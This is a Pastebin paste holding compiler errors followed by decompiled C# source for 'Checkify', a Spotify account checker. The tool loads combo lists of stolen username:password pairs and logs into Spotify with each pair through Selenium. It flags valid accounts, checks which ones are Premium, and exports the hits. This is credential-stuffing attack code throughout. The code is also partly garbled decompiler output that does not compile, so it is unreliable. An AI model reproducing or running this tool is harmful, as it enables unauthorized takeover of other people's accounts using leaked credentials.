Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Errors:
- ------ Compile started: C:\WINDOWS\Microsoft.NET\Framework\v3.5\csc.exe /t:library /nologo "Form1.cs"
- Form1.cs(100,21): error CS1002: ; expected
- Form1.cs(124,32): error CS1003: Syntax error, '(' expected
- Form1.cs(124,38): error CS1001: Identifier expected
- Form1.cs(127,4): error CS1519: Invalid token 'if' in class, struct, or interface member declaration
- Form1.cs(127,32): error CS1519: Invalid token '(' in class, struct, or interface member declaration
- Form1.cs(128,12): error CS1519: Invalid token '=' in class, struct, or interface member declaration
- Form1.cs(128,25): error CS1519: Invalid token '(' in class, struct, or interface member declaration
- Form1.cs(129,6): error CS0116: A namespace does not directly contain members such as fields or methods
- Form1.cs(130,18): error CS1518: Expected class, delegate, enum, interface, or struct
- Form1.cs(131,6): error CS0116: A namespace does not directly contain members such as fields or methods
- Form1.cs(135,3): error CS1022: Type or namespace definition, or end-of-file expected
- ------ Compile complete: Process returned 1
- ___________
- Form1.cs ||
- _________||
- using OpenQA.Selenium;
- using OpenQA.Selenium.Chrome;
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Drawing;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace Spotify_Account_Checker {
- public class Form1: Form {
- private IWebDriver driver = new ChromeDriver();
- private
- const int SW_HIDE = 0;
- private
- const int SW_SHOW = 5;
- private IContainer components;
- private Button button1;
- private Button button2;
- private GroupBox groupBox1;
- private ListBox listBox1;
- private Button button4;
- private GroupBox groupBox2;
- private GroupBox groupBox3;
- private GroupBox groupBox4;
- private Label label4;
- private Label label3;
- private Label label2;
- private Label label1;
- private ProgressBar progressBar1;
- private Button button5;
- private ListBox listBox2;
- private ListBox listBox3;
- private Label label6;
- private Label label5;
- private CheckBox checkBox1;
- private ListView listView1;
- private ColumnHeader columnHeader1;
- private ColumnHeader columnHeader2;
- private Button button3;
- private Button button6;
- public Form1() {
- this.InitializeComponent();
- }
- private void button1_Click(object sender, EventArgs e) {
- try {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- if (openFileDialog.ShowDialog() == DialogResult.OK) {
- this.listBox1.Items.Clear();
- new List < string > ();
- using(StreamReader streamReader = new StreamReader(openFileDialog.OpenFile())) {
- string item;
- while ((item = streamReader.ReadLine()) != null) {
- this.listBox1.Items.Add(item);
- }
- }
- }
- int count = this.listBox1.Items.Count;
- this.label2.Text = "0/" + count;
- this.progressBar1.Maximum = count;
- Console.WriteLine("Successfully Imported the list!");
- } catch (Exception arg) {
- Console.WriteLine("An error occurred when importing the list. '{0}'", arg);
- }
- }
- public async Task login(string user, string password) {
- Console.WriteLine("Loading Spotify Login Page");
- this.driver.Manage().Cookies.DeleteAllCookies();
- this.driver.Navigate().GoToUrl("https://accounts.spotify.com/en/login");
- Console.WriteLine("Waiting for page load...");
- this.driver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(30.0));
- Console.WriteLine("Page successfully loaded!");
- Console.WriteLine("Begin check");
- Console.WriteLine("Sending " + user + " to browser");
- this.driver.FindElement(By.Id("login-username")).Clear();
- this.driver.FindElement(By.Id("login-username")).SendKeys(user);
- Thread.Sleep(200);
- Console.WriteLine("Sending " + password + " to browser");
- this.driver.FindElement(By.Id("login-password")).Clear();
- this.driver.FindElement(By.Id("login-password")).SendKeys(password);
- Thread.Sleep(200);
- Console.WriteLine("Submitting Login...");
- this.driver.FindElement(By.Id("login-password")).SendKeys(OpenQA.Selenium.Keys.Enter);
- Thread.Sleep(1000);
- Console.WriteLine("Waiting for page load...");
- this.driver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(30.0));
- Console.WriteLine("Page loaded, checking if successfull");
- }
- public async Task < bool ? > check_() {
- IWebElement webElement = this.driver.FindElement(By.TagName("body"));
- bool ? result;
- if (webElement.Text.Contains("Incorrect")) {
- result = new bool ? (false);
- } else if (webElement.Text.Contains("logged")) {
- result = new bool ? (true);
- } else {
- result = null;
- }
- return result;
- }
- public async Task < bool ? > isPremium() {
- this.driver.Navigate().GoToUrl("https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fau%2Faccount%2Foverview%2F");
- this.driver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(30.0));
- IWebElement webElement = this.driver.FindElement(By.ClassName("product-name"));
- bool ? result;
- if (webElement.Text.Contains("Free")) {
- result = new bool ? (false);
- } else if (webElement.Text.Contains("Premium")) {
- result = new bool ? (true);
- } else if (webElement.Text.Contains("Premium")) {
- result = new bool ? (true);
- } else {
- result = null;
- }
- return result;
- }
- private async void button2_Click(object sender, EventArgs e) {
- this.button2.Enabled = false;
- this.checkBox1.Enabled = false;
- int count = this.listBox1.Items.Count;
- int num = 0;
- this.label2.Text = "0/" + count;
- this.progressBar1.Maximum = count;
- int num2 = 0;
- IEnumerator enumerator = this.listBox1.Items.GetEnumerator();
- try {
- while (enumerator.MoveNext()) {
- string text = (string) enumerator.Current;
- Form1. < > c__DisplayClass6_0 < > c__DisplayClass6_ = new Form1. < > c__DisplayClass6_0(); < > c__DisplayClass6_. < > 4 __this = this;
- bool ? flag;
- while (true) { < > c__DisplayClass6_.user = text.Split(new string[] {
- ":"
- }, StringSplitOptions.None);
- this.label5.Text = < > c__DisplayClass6_.user[0];
- this.label6.Text = < > c__DisplayClass6_.user[1];
- await Task.Run(() => < > c__DisplayClass6_. < > 4 __this.login( < > c__DisplayClass6_.user[0], < > c__DisplayClass6_.user[1]));
- flag = await Task.Run < bool ? > (() => this.check_());
- if (flag == true) {
- goto Block_4;
- }
- if (flag == false) {
- goto Block_6;
- }
- if (flag.HasValue) {
- break;
- }
- if (num2 >= 5) {
- goto Block_8;
- }
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("Cannot Determine, Rechecking... (" + num2 + ")");
- Console.ResetColor();
- num2++;
- }
- IL_3BD:
- if (this.checkBox1.Checked && flag == true) {
- int num3 = 0;
- while (true) {
- Console.WriteLine("Checking premium status...");
- bool ? var_6_476 = await Task.Run < bool ? > (() => this.isPremium());
- if (var_6_476 == true) {
- break;
- }
- if (var_6_476 == false) {
- goto Block_15;
- }
- if (var_6_476.HasValue) {
- goto IL_5E9;
- }
- if (num2 >= 5) {
- goto Block_17;
- }
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("Cannot determine status. Rechecking. (" + num3 + ")");
- Console.ResetColor();
- num3++;
- }
- Console.WriteLine(text + " is a premium account");
- this.listView1.Items.Add(text).SubItems.Add("Premium");
- goto IL_5E9;
- Block_15:
- Console.WriteLine(text + " is a free account");
- this.listView1.Items.Add(text).SubItems.Add("Free");
- goto IL_5E9;
- Block_17:
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("Maximum retries reached. Assumming account is not free.");
- Console.ResetColor();
- Console.WriteLine(text + " is a free account");
- this.listView1.Items.Add(text).SubItems.Add("Free");
- }
- IL_5E9:
- num++;
- this.progressBar1.Value = num;
- this.label2.Text = num + "/" + count;
- this.groupBox2.Text = "Working (" + this.listBox2.Items.Count + ")";
- this.groupBox3.Text = " Not Working (" + this.listBox3.Items.Count + ")"; < > c__DisplayClass6_ = null;
- text = null;
- continue;
- Block_4:
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine( < > c__DisplayClass6_.user[0] + " " + < > c__DisplayClass6_.user[1] + " is a working account");
- Console.ResetColor();
- this.listBox2.Items.Add(text);
- goto IL_3BD;
- Block_6:
- Console.ForegroundColor = ConsoleColor.DarkYellow;
- Console.WriteLine( < > c__DisplayClass6_.user[0] + " " + < > c__DisplayClass6_.user[1] + "is not working");
- Console.ResetColor();
- this.listBox3.Items.Add(text);
- goto IL_3BD;
- Block_8:
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("Maximum retries reached. Assumming account is not valid.");
- Console.ResetColor();
- this.listBox3.Items.Add(text);
- goto IL_3BD;
- }
- } finally {
- int num4;
- if (num4 < 0) {
- IDisposable var_7_6DE = enumerator as IDisposable;
- if (var_7_6DE != null) {
- var_7_6DE.Dispose();
- }
- }
- }
- enumerator = null;
- MessageBox.Show(string.Concat(new object[] {
- "Check Completed. Have found ",
- this.listBox2.Items.Count,
- " working accounts and ",
- this.listBox3.Items.Count,
- " invalid accounts"
- }));
- this.progressBar1.Value = 0;
- this.label2.Text = "0/" + count;
- this.button2.Enabled = true;
- this.checkBox1.Enabled = true;
- }
- public static void ShowConsoleWindow() {
- IntPtr consoleWindow = Form1.GetConsoleWindow();
- if (consoleWindow == IntPtr.Zero) {
- Form1.AllocConsole();
- return;
- }
- Form1.ShowWindow(consoleWindow, 5);
- }
- public static void HideConsoleWindow() {
- Form1.ShowWindow(Form1.GetConsoleWindow(), 0);
- }
- [DllImport("kernel32.dll", SetLastError = true)]
- private static extern bool AllocConsole();
- [DllImport("kernel32.dll")]
- private static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- private void Form1_Load(object sender, EventArgs e) {
- Form1.ShowConsoleWindow();
- Console.WriteLine("Application Successfully Loaded!");
- }
- private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
- this.driver.Quit();
- }
- private void button5_Click(object sender, EventArgs e) {
- SaveFileDialog saveFileDialog = new SaveFileDialog();
- saveFileDialog.Filter = "Text (*.txt)|*.txt";
- if (saveFileDialog.ShowDialog() == DialogResult.OK) {
- using(StreamWriter streamWriter = new StreamWriter(saveFileDialog.FileName, false)) {
- foreach(object current in this.listBox2.Items) {
- streamWriter.Write(current.ToString() + Environment.NewLine);
- }
- }
- }
- }
- private void button4_Click(object sender, EventArgs e) {
- this.listBox1.Items.Clear();
- }
- private void checkBox1_CheckedChanged(object sender, EventArgs e) {}
- private void button3_Click(object sender, EventArgs e) {
- SaveFileDialog saveFileDialog = new SaveFileDialog();
- saveFileDialog.Filter = "Text (*.txt)|*.txt";
- if (saveFileDialog.ShowDialog() == DialogResult.OK) {
- using(StreamWriter streamWriter = new StreamWriter(saveFileDialog.FileName, false)) {
- foreach(ListViewItem listViewItem in this.listView1.Items) {
- for (int i = 1; i < listViewItem.SubItems.Count; i++) {
- if (listViewItem.SubItems[i].Text == "Premium") {
- streamWriter.Write(listViewItem.Text);
- streamWriter.Write(Environment.NewLine);
- }
- }
- }
- }
- }
- }
- private void button6_Click(object sender, EventArgs e) {
- SaveFileDialog saveFileDialog = new SaveFileDialog();
- saveFileDialog.Filter = "Text (*.txt)|*.txt";
- if (saveFileDialog.ShowDialog() == DialogResult.OK) {
- using(StreamWriter streamWriter = new StreamWriter(saveFileDialog.FileName, false)) {
- foreach(ListViewItem listViewItem in this.listView1.Items) {
- for (int i = 1; i < listViewItem.SubItems.Count; i++) {
- if (listViewItem.SubItems[i].Text == "Free") {
- streamWriter.Write(listViewItem.Text);
- streamWriter.Write(Environment.NewLine);
- }
- }
- }
- }
- }
- }
- protected override void Dispose(bool disposing) {
- if (disposing && this.components != null) {
- this.components.Dispose();
- }
- base.Dispose(disposing);
- }
- private void InitializeComponent() {
- this.button1 = new Button();
- this.button2 = new Button();
- this.groupBox1 = new GroupBox();
- this.listBox1 = new ListBox();
- this.button4 = new Button();
- this.groupBox2 = new GroupBox();
- this.button5 = new Button();
- this.listBox2 = new ListBox();
- this.groupBox3 = new GroupBox();
- this.listBox3 = new ListBox();
- this.groupBox4 = new GroupBox();
- this.label6 = new Label();
- this.label5 = new Label();
- this.label4 = new Label();
- this.label3 = new Label();
- this.label2 = new Label();
- this.label1 = new Label();
- this.progressBar1 = new ProgressBar();
- this.checkBox1 = new CheckBox();
- this.listView1 = new ListView();
- this.columnHeader1 = new ColumnHeader();
- this.columnHeader2 = new ColumnHeader();
- this.button3 = new Button();
- this.button6 = new Button();
- this.groupBox1.SuspendLayout();
- this.groupBox2.SuspendLayout();
- this.groupBox3.SuspendLayout();
- this.groupBox4.SuspendLayout();
- base.SuspendLayout();
- this.button1.Location = new Point(12, 12);
- this.button1.Name = "button1";
- this.button1.Size = new Size(209, 53);
- this.button1.TabIndex = 0;
- this.button1.Text = "Import Combo List";
- this.button1.UseVisualStyleBackColor = true;
- this.button1.Click += new EventHandler(this.button1_Click);
- this.button2.Location = new Point(228, 12);
- this.button2.Name = "button2";
- this.button2.Size = new Size(412, 53);
- this.button2.TabIndex = 1;
- this.button2.Text = "Start Check";
- this.button2.UseVisualStyleBackColor = true;
- this.button2.Click += new EventHandler(this.button2_Click);
- this.groupBox1.Controls.Add(this.listBox1);
- this.groupBox1.Location = new Point(12, 71);
- this.groupBox1.Name = "groupBox1";
- this.groupBox1.Size = new Size(640, 279);
- this.groupBox1.TabIndex = 3;
- this.groupBox1.TabStop = false;
- this.groupBox1.Text = "Combo list";
- this.listBox1.FormattingEnabled = true;
- this.listBox1.ItemHeight = 25;
- this.listBox1.Location = new Point(6, 30);
- this.listBox1.Name = "listBox1";
- this.listBox1.Size = new Size(628, 179);
- this.listBox1.TabIndex = 4;
- this.button4.Location = new Point(18, 286);
- this.button4.Name = "button4";
- this.button4.Size = new Size(628, 58);
- this.button4.TabIndex = 4;
- this.button4.Text = "Clear Items";
- this.button4.UseVisualStyleBackColor = true;
- this.button4.Click += new EventHandler(this.button4_Click);
- this.groupBox2.Controls.Add(this.button5);
- this.groupBox2.Controls.Add(this.listBox2);
- this.groupBox2.Location = new Point(12, 356);
- this.groupBox2.Name = "groupBox2";
- this.groupBox2.Size = new Size(640, 279);
- this.groupBox2.TabIndex = 5;
- this.groupBox2.TabStop = false;
- this.groupBox2.Text = "Working";
- this.button5.Location = new Point(12, 215);
- this.button5.Name = "button5";
- this.button5.Size = new Size(622, 58);
- this.button5.TabIndex = 8;
- this.button5.Text = "Save working accounts to text file.";
- this.button5.UseVisualStyleBackColor = true;
- this.button5.Click += new EventHandler(this.button5_Click);
- this.listBox2.FormattingEnabled = true;
- this.listBox2.ItemHeight = 25;
- this.listBox2.Location = new Point(12, 30);
- this.listBox2.Name = "listBox2";
- this.listBox2.Size = new Size(622, 179);
- this.listBox2.TabIndex = 5;
- this.groupBox3.Controls.Add(this.listBox3);
- this.groupBox3.Location = new Point(12, 641);
- this.groupBox3.Name = "groupBox3";
- this.groupBox3.Size = new Size(640, 279);
- this.groupBox3.TabIndex = 6;
- this.groupBox3.TabStop = false;
- this.groupBox3.Text = "Not Working";
- this.listBox3.FormattingEnabled = true;
- this.listBox3.ItemHeight = 25;
- this.listBox3.Location = new Point(6, 30);
- this.listBox3.Name = "listBox3";
- this.listBox3.Size = new Size(622, 229);
- this.listBox3.TabIndex = 6;
- this.groupBox4.Controls.Add(this.label6);
- this.groupBox4.Controls.Add(this.label5);
- this.groupBox4.Controls.Add(this.label4);
- this.groupBox4.Controls.Add(this.label3);
- this.groupBox4.Controls.Add(this.label2);
- this.groupBox4.Controls.Add(this.label1);
- this.groupBox4.Controls.Add(this.progressBar1);
- this.groupBox4.Location = new Point(658, 12);
- this.groupBox4.Name = "groupBox4";
- this.groupBox4.Size = new Size(470, 338);
- this.groupBox4.TabIndex = 7;
- this.groupBox4.TabStop = false;
- this.groupBox4.Text = "Status";
- this.label6.AutoSize = true;
- this.label6.Location = new Point(129, 100);
- this.label6.Name = "label6";
- this.label6.Size = new Size(30, 25);
- this.label6.TabIndex = 6;
- this.label6.Text = "...";
- this.label5.AutoSize = true;
- this.label5.Location = new Point(129, 59);
- this.label5.Name = "label5";
- this.label5.Size = new Size(30, 25);
- this.label5.TabIndex = 5;
- this.label5.Text = "...";
- this.label4.AutoSize = true;
- this.label4.Location = new Point(6, 100);
- this.label4.Name = "label4";
- this.label4.Size = new Size(112, 25);
- this.label4.TabIndex = 4;
- this.label4.Text = "Password:";
- this.label3.AutoSize = true;
- this.label3.Location = new Point(6, 59);
- this.label3.Name = "label3";
- this.label3.Size = new Size(116, 25);
- this.label3.TabIndex = 3;
- this.label3.Text = "Username:";
- this.label2.Location = new Point(364, 254);
- this.label2.Name = "label2";
- this.label2.RightToLeft = RightToLeft.No;
- this.label2.Size = new Size(100, 23);
- this.label2.TabIndex = 2;
- this.label2.Text = "0/0";
- this.label2.TextAlign = ContentAlignment.MiddleRight;
- this.label1.AutoSize = true;
- this.label1.Location = new Point(6, 27);
- this.label1.Name = "label1";
- this.label1.Size = new Size(201, 25);
- this.label1.TabIndex = 1;
- this.label1.Text = "Currently Checking:";
- this.progressBar1.Location = new Point(6, 280);
- this.progressBar1.Name = "progressBar1";
- this.progressBar1.Size = new Size(458, 42);
- this.progressBar1.TabIndex = 0;
- this.checkBox1.AutoSize = true;
- this.checkBox1.Location = new Point(761, 372);
- this.checkBox1.Name = "checkBox1";
- this.checkBox1.Size = new Size(274, 29);
- this.checkBox1.TabIndex = 8;
- this.checkBox1.Text = "Premium Status Checker";
- this.checkBox1.UseVisualStyleBackColor = true;
- this.checkBox1.CheckedChanged += new EventHandler(this.checkBox1_CheckedChanged);
- this.listView1.Columns.AddRange(new ColumnHeader[] {
- this.columnHeader1,
- this.columnHeader2
- });
- this.listView1.Location = new Point(669, 421);
- this.listView1.Name = "listView1";
- this.listView1.Size = new Size(453, 428);
- this.listView1.TabIndex = 9;
- this.listView1.UseCompatibleStateImageBehavior = false;
- this.listView1.View = View.Details;
- this.columnHeader1.Text = "Account";
- this.columnHeader1.Width = 154;
- this.columnHeader2.Text = "Status";
- this.columnHeader2.Width = 244;
- this.button3.Location = new Point(669, 855);
- this.button3.Name = "button3";
- this.button3.Size = new Size(227, 55);
- this.button3.TabIndex = 10;
- this.button3.Text = "Save Premium";
- this.button3.UseVisualStyleBackColor = true;
- this.button3.Click += new EventHandler(this.button3_Click);
- this.button6.Location = new Point(902, 855);
- this.button6.Name = "button6";
- this.button6.Size = new Size(220, 55);
- this.button6.TabIndex = 11;
- this.button6.Text = "Save Free";
- this.button6.UseVisualStyleBackColor = true;
- this.button6.Click += new EventHandler(this.button6_Click);
- base.AutoScaleDimensions = new SizeF(12 f, 25 f);
- base.AutoScaleMode = AutoScaleMode.Font;
- base.ClientSize = new Size(1140, 933);
- base.Controls.Add(this.button6);
- base.Controls.Add(this.button3);
- base.Controls.Add(this.listView1);
- base.Controls.Add(this.checkBox1);
- base.Controls.Add(this.groupBox4);
- base.Controls.Add(this.groupBox3);
- base.Controls.Add(this.groupBox2);
- base.Controls.Add(this.button4);
- base.Controls.Add(this.groupBox1);
- base.Controls.Add(this.button2);
- base.Controls.Add(this.button1);
- base.Name = "Form1";
- this.Text = "Checkify by Paz (for Spotify)";
- base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
- base.Load += new EventHandler(this.Form1_Load);
- this.groupBox1.ResumeLayout(false);
- this.groupBox2.ResumeLayout(false);
- this.groupBox3.ResumeLayout(false);
- this.groupBox4.ResumeLayout(false);
- this.groupBox4.PerformLayout();
- base.ResumeLayout(false);
- base.PerformLayout();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement